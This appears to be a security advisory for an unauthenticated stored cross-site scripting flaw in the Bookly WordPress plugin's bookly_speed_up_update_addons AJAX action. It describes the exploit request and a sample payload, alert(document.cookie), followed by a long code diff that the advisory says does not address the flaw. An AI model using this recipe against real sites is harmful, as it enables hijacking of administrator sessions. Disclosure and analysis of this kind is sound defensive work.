Published : August 15, 2026

CVE-2026-13424: Online Scheduling and Appointment Booking System <= 27.7 Unauthenticated Stored Cross-Site Scripting via bookly_speed_up_update_addons AJAX action PoC, Patch Analysis & Rule

Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 27.7
Patched Version 28.0
Disclosed August 14, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13424:
This vulnerability allows unauthenticated stored cross-site scripting (XSS) in the Bookly plugin for WordPress. The flaw exists in the `bookly_speed_up_update_addons` AJAX action, which lacks proper input sanitization and output escaping. An attacker can inject arbitrary web scripts into the `bookly_log.details` column in the database, which are then executed when an administrator views the Diagnostics → Logs page. The vulnerability has a CVSS score of 7.2, classifying it as high severity.

Root Cause: The vulnerability stems from the `bookly_speed_up_update_addons` AJAX action failing to sanitize user-supplied input before storing it in the `bookly_log.details` column. This action is registered as `wp_ajax_nopriv_*`, making it accessible without authentication. The backend code path stores the payload verbatim when a request is submitted without a valid signature. The lack of output escaping on the Diagnostics → Logs page then allows the stored payload to execute as active script in the administrator’s browser. The specific vulnerable function and file responsible for logging this user input are in the plugin’s AJAX handler for `bookly_speed_up_update_addons`.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP POST request to the `/wp-admin/admin-ajax.php` endpoint. The attacker must set the `action` parameter to `bookly_speed_up_update_addons`. In the POST body, the attacker includes a malicious payload, such as `alert(document.cookie)`, in the parameter that gets logged. Because the AJAX action does not check for a valid signature or sanitize the input, the payload is inserted directly into the `bookly_log` table. When an administrator later navigates to the Diagnostics → Logs page in the admin panel, the unsanitized payload is rendered, and the script executes in the context of the administrator’s session.

Patch Analysis: The provided diff primarily focuses on code refactoring, translation string updates, and the addition of a new fullscreen appearance CSS feature. The diff does not contain any changes to the AJAX handler for `bookly_speed_up_update_addons` that would address the missing sanitization, or output escaping on the logs page. This indicates that the vulnerability might not be fixed by this specific diff. If the patch is intended to fix the issue, it should introduce a validation logic in the AJAX handler to ensure the request has a valid signature before processing, and apply output escaping when displaying log data to ensure any injected scripts are rendered as plain text.

Impact: Successful exploitation allows an unauthenticated attacker to inject malicious scripts into the WordPress admin panel. The XSS payload executes whenever a user with administrative privileges visits the Diagnostics → Logs page. This can lead to various severe outcomes, including session hijacking, the creation of new administrative users, the exfiltration of sensitive configuration data and application data, and the potential for deploying further malware on the site. The attack compromises the integrity and availability of the website and its data.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/bookly-responsive-appointment-booking-tool/backend/Backend.php
+++ b/bookly-responsive-appointment-booking-tool/backend/Backend.php
@@ -15,12 +15,22 @@
         add_action( 'admin_menu', array( __CLASS__, 'addAdminMenu' ) );

         if ( ! LibConfig::setupMode() ) {
+            // Single notices area inside #wpbody-content (in_admin_header would print
+            // them under #wpcontent — outside the fullscreen scroller, see appearance CSS).
             add_action( 'all_admin_notices', function() use ( $bookly_page ) {
                 Backend::renderNotices( $bookly_page );
             } );
-            add_action( 'in_admin_header', function() use ( $bookly_page ) {
-                Backend::renderNotices( $bookly_page );
-            } );
+            if ( $bookly_page ) {
+                // WordPress relocates admin notices after .wp-header-end when present,
+                // otherwise after the first .wrap h1 — which is inside the Svelte page
+                // header flex row and gets squeezed together with the title. Print the
+                // marker last in the notices area, before the page wrap opens, so all
+                // relocated notices stay above the page and outside .bookly-css-root
+                // (bootstrap `#bookly-tbs a` / tailwind preflight would restyle them).
+                add_action( 'all_admin_notices', function() {
+                    echo '<hr class="wp-header-end">';
+                }, PHP_INT_MAX );
+            }
         }

         // for Site Health
@@ -41,6 +51,7 @@
             /** @var ElementorElements_Manager $elements_manager */
             $elements_manager->add_category( 'bookly', array( 'title' => 'Bookly' ) );
         } );
+
         add_action( 'elementor/editor/before_enqueue_scripts', function() {
             wp_register_style(
                 'bookly-elementor',
@@ -49,6 +60,112 @@
                 LibPlugin::getVersion()
             );
         } );
+
+        // Divi
+        add_filter( 'et_builder_module_categories', function ( $categories ) {
+            $categories['bookly'] = 'Bookly';
+
+            return $categories;
+        } );
+
+        // =====================================================================
+        // Page appearance settings (per-user, persisted to user meta) for every
+        // Bookly admin page. The "Page appearance" control lives in the Svelte
+        // PageHeader (ComponentsPageHeaderRenderer): its switches flip a body
+        // class for instant feedback AND POST to ComponentsPageHeaderAjax
+        // (bookly_save_appearance_settings) to persist. On each render we re-apply
+        // from meta server-side, so the choice survives navigation with no flash.
+        // Fullscreen mirrors WP core's own block-editor pattern
+        // (`body.js.is-fullscreen-mode` -> display:none of the known core chrome),
+        // gated on `.js` so the page degrades to a normal screen without JS.
+        // =====================================================================
+        if ( isset( $_REQUEST['page'] ) && strncmp( $_REQUEST['page'], 'bookly-', 7 ) === 0 ) {
+            add_filter( 'admin_body_class', function ( $classes ) {
+                // Setup wizard v2 always runs fullscreen — page-scoped, independent
+                // of the per-user appearance setting. The marker class keeps the
+                // #wpbody-content scroller rules off the wizard (it draws its own scene).
+                if ( $_REQUEST['page'] === ModulesSetupPage::pageSlug() && ModulesSetupPage::resolveVariant() === 'v2' ) {
+                    return $classes . ' bookly-fullscreen-active bookly-setup-wizard';
+                }
+                $ap = get_user_meta( get_current_user_id(), 'bookly_appearance', true );
+                if ( ! is_array( $ap ) ) {
+                    return $classes;
+                }
+                if ( ! empty( $ap['fullscreen'] ) )  { $classes .= ' bookly-fullscreen-active'; }
+                if ( ! empty( $ap['fixed_width'] ) ) { $classes .= ' bookly-fixed-width'; }
+                return $classes;
+            } );
+            add_action( 'admin_head', function () {
+                // Rules only bite when the matching body class is present (added
+                // from meta above, or toggled at runtime by the appearance panel).
+                echo '<style id="bookly-appearance-css">'
+                    // Admin notices relocated after our .wp-header-end marker (see
+                    // registerHooks) become direct children of #wpbody-content, where
+                    // WP's default 15px side margins don't line up with .wrap
+                    // (margin: 10px 20px 0 2px) — align them with the page grid.
+                    // margin-inline flips with RTL by itself.
+                    . '#wpbody-content>div.notice,#wpbody-content>div.updated,#wpbody-content>div.error{margin-block:5px 2px;margin-inline:2px 20px;}'
+                    // Fullscreen: hide the known WP core chrome (display:none — immune
+                    // to z-index/stacking/timing) + overlay our page as a backstop for
+                    // anything unknown. `.js`-gated, matching WP's own fullscreen.
+                    . 'body.js.bookly-fullscreen-active #wpadminbar,'
+                    . 'body.js.bookly-fullscreen-active #adminmenumain,'
+                    . 'body.js.bookly-fullscreen-active #wpfooter{display:none!important;}'
+                    // Lock the document scroll so only the fixed overlay scrolls
+                    // (otherwise html/body scroll behind it = a second scrollbar).
+                    . 'html:has(body.js.bookly-fullscreen-active){padding-top:0!important;overflow:hidden!important;}'
+                    . 'body.js.bookly-fullscreen-active{overflow:hidden!important;}'
+                    . 'body.js.bookly-fullscreen-active #wpcontent{margin-left:0!important;}'
+                    // The fullscreen overlay/scroller is #wpbody-content (NOT the page wrap):
+                    // both notice areas — Bookly ones (.wrap, all_admin_notices) and relocated
+                    // third-party div.notice — are its direct children, so they stay visible
+                    // and scroll together with the page.
+                    . 'body.js.bookly-fullscreen-active:not(.bookly-setup-wizard) #wpbody-content{position:fixed;inset:0;z-index:100049;overflow:auto;padding:10px 20px;box-sizing:border-box;background:#f0f0f1;}'
+                    // background uses !important: bootstrap resets #bookly-tbs to
+                    // background-color:transparent (ID specificity) — a class can never
+                    // out-specify an ID. Drop the !important once #bookly-tbs is gone.
+                    . 'body.js.bookly-fullscreen-active .bookly-main-page-wrap{background:#f0f0f1!important;}'
+                    // The scroller carries the side padding — flatten side margins of its
+                    // children (page wrap, both notice kinds) so edges line up.
+                    . 'body.js.bookly-fullscreen-active #wpbody-content>.wrap{margin-inline:0;}'
+                    . 'body.js.bookly-fullscreen-active #wpbody-content>div.notice,body.js.bookly-fullscreen-active #wpbody-content>div.updated,body.js.bookly-fullscreen-active #wpbody-content>div.error{margin-inline:0;}'
+                    // Fixed page width: cap and centre the content column, the page wrap and
+                    // both notice areas alike (all direct children of #wpbody-content).
+                    // box-sizing: div.notice is content-box — its padding/border would
+                    // otherwise poke past the 1180px column the .wrap children align to.
+                    . 'body.js.bookly-fixed-width #wpbody-content>.wrap,body.js.bookly-fixed-width #wpbody-content>div.notice,body.js.bookly-fixed-width #wpbody-content>div.updated,body.js.bookly-fixed-width #wpbody-content>div.error{max-width:1180px;margin-inline:auto;box-sizing:border-box;}'
+                    // The auto margins above replace .wrap's own asymmetric WP margins
+                    // (10px 20px 0 2px) and collapse to 0 when the viewport is narrower
+                    // than the column — the right gutter vanished. Keep the gutters on
+                    // the container instead (2px left complements #wpcontent's 20px
+                    // padding-left, 20px right mirrors .wrap's default right margin).
+                    . 'body.js.bookly-fixed-width:not(.bookly-fullscreen-active) #wpbody-content{padding-inline:2px 20px;box-sizing:border-box;}'
+                    // WP core update nag is inline-block (width by content) — auto margins
+                    // can't centre it; as a block it joins the fixed-width column.
+                    . 'body.js.bookly-fixed-width #wpbody-content>div.update-nag{display:block;}'
+                    // When also fullscreen, the scroller spans the viewport — centre the
+                    // column via its padding, children stay full-width within it.
+                    . 'body.js.bookly-fullscreen-active.bookly-fixed-width:not(.bookly-setup-wizard) #wpbody-content{padding-inline:max(20px,calc((100% - 1180px) / 2));}'
+                    // Fullscreen left sidebar (the Svelte nav, w-60 = 240px) is shown only at >=md
+                    // and pinned to the viewport — offset the scroller content right by it (240 + 20
+                    // gutter). Below md the sidebar is an off-canvas drawer, so no offset there.
+                    . '@media(min-width:768px){body.js.bookly-fullscreen-active:not(.bookly-setup-wizard) #wpbody-content{padding-left:260px;}}'
+                    // ...and with fixed width too: centre the 1180px column within the space to the
+                    // RIGHT of the sidebar (left = sidebar + gutter, right = matching gutter).
+                    . '@media(min-width:768px){body.js.bookly-fullscreen-active.bookly-fixed-width:not(.bookly-setup-wizard) #wpbody-content{padding-left:calc(240px + max(20px,(100% - 240px - 1180px) / 2));padding-right:max(20px,(100% - 240px - 1180px) / 2);}}'
+                    // Loading-window placeholder: a blank panel matching the sidebar footprint
+                    // (240px, card bg, right border), shown only in fullscreen >= md and sitting
+                    // one z-index below the real Svelte <aside> (z-40), which covers it on mount.
+                    . '.bookly-fs-sidebar-placeholder{display:none;}'
+                    . '@media(min-width:768px){body.js.bookly-fullscreen-active .bookly-fs-sidebar-placeholder{display:block;position:fixed;left:0;top:0;bottom:0;width:240px;z-index:39;background:#fff;border-right:1px solid #e5e7eb;}}'
+                    // Sidebar nav scroller: hide the (ugly) scrollbar and fade whichever edges have
+                    // more content beyond them. The header JS feeds the edge sizes via --bookly-fade-*
+                    // (0px = no fade); a single mask covers top + bottom in any combination.
+                    . '.bookly-fs-nav-scroll{scrollbar-width:none;-webkit-mask-image:linear-gradient(to bottom,transparent 0,#000 var(--bookly-fade-top,0px),#000 calc(100% - var(--bookly-fade-bottom,0px)),transparent 100%);mask-image:linear-gradient(to bottom,transparent 0,#000 var(--bookly-fade-top,0px),#000 calc(100% - var(--bookly-fade-bottom,0px)),transparent 100%);}'
+                    . '.bookly-fs-nav-scroll::-webkit-scrollbar{width:0;height:0;display:none;}'
+                    . '</style>';
+            } );
+        }
     }

     /**
@@ -120,7 +237,12 @@
                     plugins_url( 'resources/images/menu.png', __FILE__ ), $dynamic_position );
             }
             if ( LibConfig::setupMode() ) {
-                $setup = __( 'Initial setup', 'bookly' );
+                // Warm up the Cloud info cache (promotions, wizard rollout config) so the
+                // Setup page never waits for the network; fires only while the cache is empty.
+                if ( ! is_array( get_option( 'bookly_cloud_promotions' ) ) ) {
+                    LibCloudAPI::getInstance()->general->loadInfo();
+                }
+                $setup = __( 'Initial setup', 'bookly-responsive-appointment-booking-tool' );
                 add_submenu_page( 'bookly-menu', $setup, $setup, $required_capability, ModulesSetupPage::pageSlug(), function() { ModulesSetupPage::render(); } );
             } elseif ( LibProxyPro::graceExpired() ) {
                 LibProxyPro::addLicenseBooklyMenuItem();
@@ -129,17 +251,17 @@
                 }
             } else {
                 // Translated submenu pages.
-                $dashboard = __( 'Dashboard', 'bookly' );
-                $appointments = __( 'Appointments', 'bookly' );
-                $staff_members = __( 'Staff Members', 'bookly' );
-                $services = __( 'Services', 'bookly' );
-                $notifications = __( 'Email Notifications', 'bookly' );
-                $customers = __( 'Customers', 'bookly' );
-                $payments = __( 'Payments', 'bookly' );
-                $appearance = __( 'Appearance', 'bookly' );
-                $settings = __( 'Settings', 'bookly' );
-                $products = __( 'Products', 'bookly' );
-                $billing = __( 'Billing', 'bookly' );
+                $dashboard = __( 'Dashboard', 'bookly-responsive-appointment-booking-tool' );
+                $appointments = __( 'Appointments', 'bookly-responsive-appointment-booking-tool' );
+                $staff_members = __( 'Staff Members', 'bookly-responsive-appointment-booking-tool' );
+                $services = __( 'Services', 'bookly-responsive-appointment-booking-tool' );
+                $notifications = __( 'Email Notifications', 'bookly-responsive-appointment-booking-tool' );
+                $customers = __( 'Customers', 'bookly-responsive-appointment-booking-tool' );
+                $payments = __( 'Payments', 'bookly-responsive-appointment-booking-tool' );
+                $appearance = __( 'Appearance', 'bookly-responsive-appointment-booking-tool' );
+                $settings = __( 'Settings', 'bookly-responsive-appointment-booking-tool' );
+                $products = __( 'Products', 'bookly-responsive-appointment-booking-tool' );
+                $billing = __( 'Billing', 'bookly-responsive-appointment-booking-tool' );

                 add_submenu_page( 'bookly-menu', $dashboard, $dashboard, $required_capability,
                     ModulesDashboardPage::pageSlug(), function() { ModulesDashboardPage::render(); } );
@@ -158,7 +280,7 @@
                         ModulesStaffPage::pageSlug(), function() { ModulesStaffPage::render(); } );
                 } elseif ( $is_staff ) {
                     if ( get_option( 'bookly_gen_allow_staff_edit_profile' ) == 1 ) {
-                        add_submenu_page( 'bookly-menu', __( 'Profile', 'bookly' ), __( 'Profile', 'bookly' ), 'read',
+                        add_submenu_page( 'bookly-menu', __( 'Profile', 'bookly-responsive-appointment-booking-tool' ), __( 'Profile', 'bookly-responsive-appointment-booking-tool' ), 'read',
                             ModulesStaffPage::pageSlug(), function() { ModulesStaffPage::render(); } );
                     }
                 }
@@ -193,7 +315,7 @@
                 ModulesShopPage::addBooklyMenuItem();

                 if ( ! LibConfig::proActive() ) {
-                    $submenu['bookly-menu'][] = array( esc_attr__( 'Get Bookly Pro', 'bookly' ) . ' <i class="fas fa-fw fa-certificate" style="color: #f4662f"></i>', 'read', LibUtilsCommon::prepareUrlReferrers( 'https://www.booking-wp-plugin.com/pricing', 'admin_menu' ), );
+                    $submenu['bookly-menu'][] = array( esc_attr__( 'Get Bookly Pro', 'bookly-responsive-appointment-booking-tool' ) . ' <i class="fas fa-fw fa-certificate" style="color: #f4662f"></i>', 'read', LibUtilsCommon::prepareUrlReferrers( 'https://www.booking-wp-plugin.com/pricing', 'admin_menu' ), );
                 }

                 // Bookly Cloud menu
--- a/bookly-responsive-appointment-booking-tool/backend/components/ace/templates/editor.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/ace/templates/editor.php
@@ -7,5 +7,5 @@
 ?>
 <div id="<?php echo esc_attr( $id ) ?>" class="bookly-ace-editor<?php if ( $additional_classes ) echo ' ' . esc_attr( $additional_classes ) ?>"<?php if ( $codes ) : ?> data-codes="<?php echo esc_attr( $codes ) ?>"<?php endif ?> data-value="<?php echo esc_attr( $value ) ?>"></div>
 <?php if ( $doc_slug ) : ?>
-    <small class="form-text text-muted"><?php printf( __( 'Start typing "{" to see the available codes. For more information, see the <a href="%s" target="_blank">documentation</a> page', 'bookly' ), 'https://hub.bookly.pro/go/' . $doc_slug ) ?></small>
+    <small class="form-text text-muted"><?php printf( __( 'Start typing "{" to see the available codes. For more information, see the <a href="%s" target="_blank">documentation</a> page', 'bookly-responsive-appointment-booking-tool' ), 'https://hub.bookly.pro/go/' . $doc_slug ) ?></small>
 <?php endif ?>
 No newline at end of file
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/Ajax.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/Ajax.php
@@ -59,13 +59,72 @@
                 wp_send_json_success();
             }
         } else {
-            wp_send_json_error( array( 'message' => __( 'Please accept terms and conditions.', 'bookly' ) ) );
+            wp_send_json_error( array( 'message' => __( 'Please accept terms and conditions.', 'bookly-responsive-appointment-booking-tool' ) ) );
         }

         wp_send_json_error( array( 'message' => current( $cloud->getErrors() ) ) );
     }

     /**
+     * Registration without password — credentials are generated
+     * on the server and emailed to the user.
+     */
+    public static function cloudRegisterNoPassword()
+    {
+        $cloud = LibCloudAPI::getInstance();
+
+        if ( self::parameter( 'accept_tos', false ) ) {
+            // Wizard variant travels server-side from the sticky option (JS doesn't know it)
+            $setup = get_option( 'bookly_setup_wizard' );
+            $response = $cloud->account->registerNoPassword(
+                self::parameter( 'username' ),
+                self::parameter( 'country' ),
+                self::parameter( 'source' ),
+                is_array( $setup ) && isset( $setup['variant'] ) ? $setup['variant'] : null
+            );
+            if ( $response ) {
+                update_option( 'bookly_cloud_token', $response['token'] );
+
+                wp_send_json_success();
+            }
+            $errors = $cloud->getErrors();
+            wp_send_json_error( array( 'code' => key( $errors ), 'message' => current( $errors ) ) );
+        }
+
+        wp_send_json_error( array( 'message' => __( 'Please accept terms and conditions.', 'bookly-responsive-appointment-booking-tool' ) ) );
+    }
+
+    /**
+     * Send one-time sign-in code.
+     */
+    public static function cloudSendOtp()
+    {
+        $cloud = LibCloudAPI::getInstance();
+        $result = $cloud->account->sendOtp( self::parameter( 'username' ) );
+        if ( $result === false ) {
+            $errors = $cloud->getErrors();
+            wp_send_json_error( array( 'code' => key( $errors ), 'message' => current( $errors ) ) );
+        }
+
+        wp_send_json_success();
+    }
+
+    /**
+     * Login with one-time code.
+     */
+    public static function cloudLoginOtp()
+    {
+        $cloud = LibCloudAPI::getInstance();
+        $result = $cloud->account->loginOtp( self::parameter( 'username' ), self::parameter( 'otp' ) );
+        if ( $result === false ) {
+            $errors = $cloud->getErrors();
+            wp_send_json_error( array( 'code' => key( $errors ), 'message' => current( $errors ) ) );
+        }
+
+        wp_send_json_success();
+    }
+
+    /**
      * Logout.
      */
     public static function cloudLogout()
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/Panel.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/Panel.php
@@ -37,8 +37,8 @@
         ) );

         wp_localize_script( 'bookly-cloud-auth.js', 'BooklyCloudAuthL10n', array(
-            'passwords_not_match' => __( 'Passwords don't match', 'bookly' ),
-            'noResults' => __( 'No records.', 'bookly' ),
+            'passwords_not_match' => __( 'Passwords don't match', 'bookly-responsive-appointment-booking-tool' ),
+            'noResults' => __( 'No records.', 'bookly-responsive-appointment-booking-tool' ),
         ) );

         $promotions = get_option( 'bookly_cloud_promotions', array() );
@@ -87,29 +87,29 @@

         $l10n = array(
             'productsUrl' => Common::escAdminUrl( ModulesCloudProductsPage::pageSlug() ),
-            'auto_recharge_text' => $cloud->account->autoRechargeEnabled() ? __( 'Auto-Recharge is enabled', 'bookly' ) : '',
-            'auto_recharge_payment_method' => $cloud->account->autoRechargeEnabled() ? sprintf( __( 'Payment method: %s', 'bookly' ), $cloud->account->getAutoRechargeTitle() ) : '',
-            'auto_recharge_end_date' => $cloud->account->autoRechargeEnabled() && $cloud->account->getAutoRechargeEndAt() ? sprintf( __( 'End date: %s', 'bookly' ), LibUtilsDateTime::formatDate( $cloud->account->getAutoRechargeEndAt() ) ) : '',
-            'auto_recharge_button' => __( 'Change', 'bookly' ),
+            'auto_recharge_text' => $cloud->account->autoRechargeEnabled() ? __( 'Auto-Recharge is enabled', 'bookly-responsive-appointment-booking-tool' ) : '',
+            'auto_recharge_payment_method' => $cloud->account->autoRechargeEnabled() ? sprintf( __( 'Payment method: %s', 'bookly-responsive-appointment-booking-tool' ), $cloud->account->getAutoRechargeTitle() ) : '',
+            'auto_recharge_end_date' => $cloud->account->autoRechargeEnabled() && $cloud->account->getAutoRechargeEndAt() ? sprintf( __( 'End date: %s', 'bookly-responsive-appointment-booking-tool' ), LibUtilsDateTime::formatDate( $cloud->account->getAutoRechargeEndAt() ) ) : '',
+            'auto_recharge_button' => __( 'Change', 'bookly-responsive-appointment-booking-tool' ),
             'cloud_support_text' => $support_days < 0
-                ? __( 'Support has expired', 'bookly' )
+                ? __( 'Support has expired', 'bookly-responsive-appointment-booking-tool' )
                 : ( $support_days <= 3
-                    ? __( 'Support is about to expire', 'bookly' )
-                    : __( 'Support is active', 'bookly' )
+                    ? __( 'Support is about to expire', 'bookly-responsive-appointment-booking-tool' )
+                    : __( 'Support is active', 'bookly-responsive-appointment-booking-tool' )
                 ),
             'cloud_support_exp_date' => $cloud->account->getCloudSupportEndAt() === null
                 ? ''
-                : sprintf( __( 'Expiration date: %s', 'bookly' ), LibUtilsDateTime::formatDate( $cloud->account->getCloudSupportEndAt() ) ),
-            'cloud_support_hiw' => __( 'How it works', 'bookly' ),
-            'cloud_support_extend' => __( 'Extend support', 'bookly' ),
+                : sprintf( __( 'Expiration date: %s', 'bookly-responsive-appointment-booking-tool' ), LibUtilsDateTime::formatDate( $cloud->account->getCloudSupportEndAt() ) ),
+            'cloud_support_hiw' => __( 'How it works', 'bookly-responsive-appointment-booking-tool' ),
+            'cloud_support_extend' => __( 'Extend support', 'bookly-responsive-appointment-booking-tool' ),
         );

         if ( ! $cloud->account->getCountry() ) {
-            $l10n['noResults'] = __( 'No records.', 'bookly' );
-            $l10n['settingsSaved'] = __( 'Settings saved.', 'bookly' );
+            $l10n['noResults'] = __( 'No records.', 'bookly-responsive-appointment-booking-tool' );
+            $l10n['settingsSaved'] = __( 'Settings saved.', 'bookly-responsive-appointment-booking-tool' );
         }
         if ( ! $cloud->account->getEmailConfirmed() ) {
-            $l10n['confirm_email_code_resent'] = __( 'An email containing the confirmation code has been sent to your email address.', 'bookly' );
+            $l10n['confirm_email_code_resent'] = __( 'An email containing the confirmation code has been sent to your email address.', 'bookly-responsive-appointment-booking-tool' );
             $l10n['show_confirm_email_dialog'] = ! get_user_meta( get_current_user_id(), 'bookly_dismiss_cloud_confirm_email', true );
         }
         wp_localize_script( 'bookly-cloud-panel.js', 'BooklyCloudPanelL10n', $l10n );
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/_balance.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/_balance.php
@@ -10,13 +10,13 @@
 <div class="btn-group">
     <div class="border rounded-left pl-2 d-flex align-items-center" id="bookly-cloud-balance">
         <div class="col pl-0 pr-2 d-none d-md-inline">
-            <h6 class="small text-muted m-0"><?php _e( 'current<br/>balance', 'bookly' ) ?></h6>
+            <h6 class="small text-muted m-0"><?php _e( 'current<br/>balance', 'bookly-responsive-appointment-booking-tool' ) ?></h6>
         </div>
         <div class="col pl-0 pr-2">
             <span class="lead <?php echo esc_attr( $txt_class ) ?>">$<?php echo number_format( $balance, 2 ) ?></span>
         </div>
     </div>
     <button type="button" class="btn btn-success text-nowrap bookly-js-recharge-dialog-activator">
-        <i class="fas fa-coins"></i><span class="d-none d-md-inline ml-2"><?php esc_html_e( 'Recharge', 'bookly' ) ?></span>
+        <i class="fas fa-coins"></i><span class="d-none d-md-inline ml-2"><?php esc_html_e( 'Recharge', 'bookly-responsive-appointment-booking-tool' ) ?></span>
     </button>
 </div>
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/_confirm_email.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/_confirm_email.php
@@ -5,35 +5,35 @@
     <div class="modal-dialog">
         <div class="modal-content">
             <div class="modal-header">
-                <h5 class="modal-title"><?php esc_html_e( 'Thank you for registration.', 'bookly' ) ?></h5>
+                <h5 class="modal-title"><?php esc_html_e( 'Thank you for registration.', 'bookly-responsive-appointment-booking-tool' ) ?></h5>
                 <button type="button" class="close" data-dismiss="bookly-modal"><span>×</span></button>
             </div>
             <div class="modal-body">
                 <p>
-                    <?php esc_html_e( 'You're almost ready to get started with Bookly Cloud.', 'bookly' ) ?>
-                    <?php esc_html_e( 'An email containing the confirmation code has been sent to your email address.', 'bookly' ) ?>
+                    <?php esc_html_e( 'You're almost ready to get started with Bookly Cloud.', 'bookly-responsive-appointment-booking-tool' ) ?>
+                    <?php esc_html_e( 'An email containing the confirmation code has been sent to your email address.', 'bookly-responsive-appointment-booking-tool' ) ?>
                 </p>
-                <p><?php esc_html_e( 'To complete registration, please enter the confirmation code below.', 'bookly' ) ?></p>
+                <p><?php esc_html_e( 'To complete registration, please enter the confirmation code below.', 'bookly-responsive-appointment-booking-tool' ) ?></p>
                 <div class="input-group mb-4">
-                    <input type="text" class="form-control bookly-js-confirmation-code" id="bookly-confirmation-code" placeholder="<?php esc_attr_e( 'Confirmation code', 'bookly' ) ?>" />
+                    <input type="text" class="form-control bookly-js-confirmation-code" id="bookly-confirmation-code" placeholder="<?php esc_attr_e( 'Confirmation code', 'bookly-responsive-appointment-booking-tool' ) ?>" />
                     <div class="input-group-append">
-                        <?php Buttons::renderSubmit( 'bookly-apply-confirmation-code', null, __( 'Confirm', 'bookly' ), array( 'name' => 'submit' ) ) ?>
+                        <?php Buttons::renderSubmit( 'bookly-apply-confirmation-code', null, __( 'Confirm', 'bookly-responsive-appointment-booking-tool' ), array( 'name' => 'submit' ) ) ?>
                     </div>
                 </div>
                 <h6>
-                    <b><?php esc_html_e( 'Didn't receive the email?', 'bookly' ) ?></b>
+                    <b><?php esc_html_e( 'Didn't receive the email?', 'bookly-responsive-appointment-booking-tool' ) ?></b>
                 </h6>
                 <ol>
                     <li>
-                        <?php esc_html_e( 'Check your spam folder.', 'bookly' ) ?>
+                        <?php esc_html_e( 'Check your spam folder.', 'bookly-responsive-appointment-booking-tool' ) ?>
                     </li>
                     <li>
-                        <?php printf( esc_html__( 'Click %s here %s to resend the email.', 'bookly' ), '<a href="#" class="bookly-js-resend-confirmation">', '</a>' ) ?>
+                        <?php printf( esc_html__( 'Click %s here %s to resend the email.', 'bookly-responsive-appointment-booking-tool' ), '<a href="#" class="bookly-js-resend-confirmation">', '</a>' ) ?>
                     </li>
                 </ol>
             </div>
             <div class="modal-footer">
-                <?php Buttons::renderCancel( __( 'I'll do it later', 'bookly' ) ) ?>
+                <?php Buttons::renderCancel( __( 'I'll do it later', 'bookly-responsive-appointment-booking-tool' ) ) ?>
             </div>
         </div>
     </div>
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/_setup_country.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/_setup_country.php
@@ -5,26 +5,26 @@
     <div class="modal-dialog">
         <div class="modal-content">
             <div class="modal-header">
-                <h5 class="modal-title"><?php esc_html_e( 'Setup your country', 'bookly' ) ?></h5>
+                <h5 class="modal-title"><?php esc_html_e( 'Setup your country', 'bookly-responsive-appointment-booking-tool' ) ?></h5>
                 <button type="button" class="close" data-dismiss="bookly-modal" aria-label="Close"><span aria-hidden="true">×</span></button>
             </div>
             <div class="modal-body">
                 <div class="alert alert-danger" role="alert">
                     <p>
-                        <?php esc_html_e( 'Please spend a minute to setup your country. This will help us provide you with appropriate payment methods when replenishing your account.', 'bookly' ) ?>
+                        <?php esc_html_e( 'Please spend a minute to setup your country. This will help us provide you with appropriate payment methods when replenishing your account.', 'bookly-responsive-appointment-booking-tool' ) ?>
                     </p>
                     <p class="mb-0">
-                        <?php esc_html_e( 'The country will also be displayed in the invoice on a separate line below the company address. Make sure the other fields in the invoice do not contain the name of the country.', 'bookly' ) ?>
+                        <?php esc_html_e( 'The country will also be displayed in the invoice on a separate line below the company address. Make sure the other fields in the invoice do not contain the name of the country.', 'bookly-responsive-appointment-booking-tool' ) ?>
                     </p>
                 </div>
                 <div class="form-group mt-2">
                     <select id="bookly-s-country"></select>
-                    <small class="text-muted"><?php esc_html_e( 'Your country is the location from where you consume Bookly SMS services and is used to provide you with the payment methods available in that country', 'bookly' ) ?></small>
+                    <small class="text-muted"><?php esc_html_e( 'Your country is the location from where you consume Bookly SMS services and is used to provide you with the payment methods available in that country', 'bookly-responsive-appointment-booking-tool' ) ?></small>
                 </div>
             </div>
             <div class="modal-footer">
-                <?php Buttons::renderSubmit( 'bookly-set-country', null, __( 'Set country', 'bookly' ) ) ?>
-                <?php Buttons::renderCancel( __( 'I'll do it later', 'bookly' ) ) ?>
+                <?php Buttons::renderSubmit( 'bookly-set-country', null, __( 'Set country', 'bookly-responsive-appointment-booking-tool' ) ) ?>
+                <?php Buttons::renderCancel( __( 'I'll do it later', 'bookly-responsive-appointment-booking-tool' ) ) ?>
             </div>
         </div>
     </div>
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/_support.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/_support.php
@@ -12,6 +12,6 @@
 <span class="badge rounded-pill <?php echo esc_attr( $color_class ) ?> font-weight-normal p-2" id="bookly-cloud-support">
     <i class="fas fa-headset fa-sm"></i>
     <?php if ( $days >= 0 ): ?>
-        <?php printf( _n( '%d day', '%d days', $days, 'bookly' ), $days ) ?>
+        <?php printf( _n( '%d day', '%d days', $days, 'bookly-responsive-appointment-booking-tool' ), $days ) ?>
     <?php endif ?>
 </span>
--- a/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/auth.php
+++ b/bookly-responsive-appointment-booking-tool/backend/components/cloud/account/templates/auth.php
@@ -5,10 +5,10 @@
 ?>
 <div class="btn-group">
     <button id="bookly-cloud-register-button" type="button" class="btn btn-success">
-        <i class="fas fa-user-plus mr-2"></i><?php esc_html_e( 'Register', 'bookly' ) ?>
+        <i class="fas fa-user-plus mr-2"></i><?php esc_html_e( 'Register', 'bookly-responsive-appointment-booking-tool' ) ?>
     </button>
     <button id="bookly-cloud-login-button" type="button" class="btn btn-info">
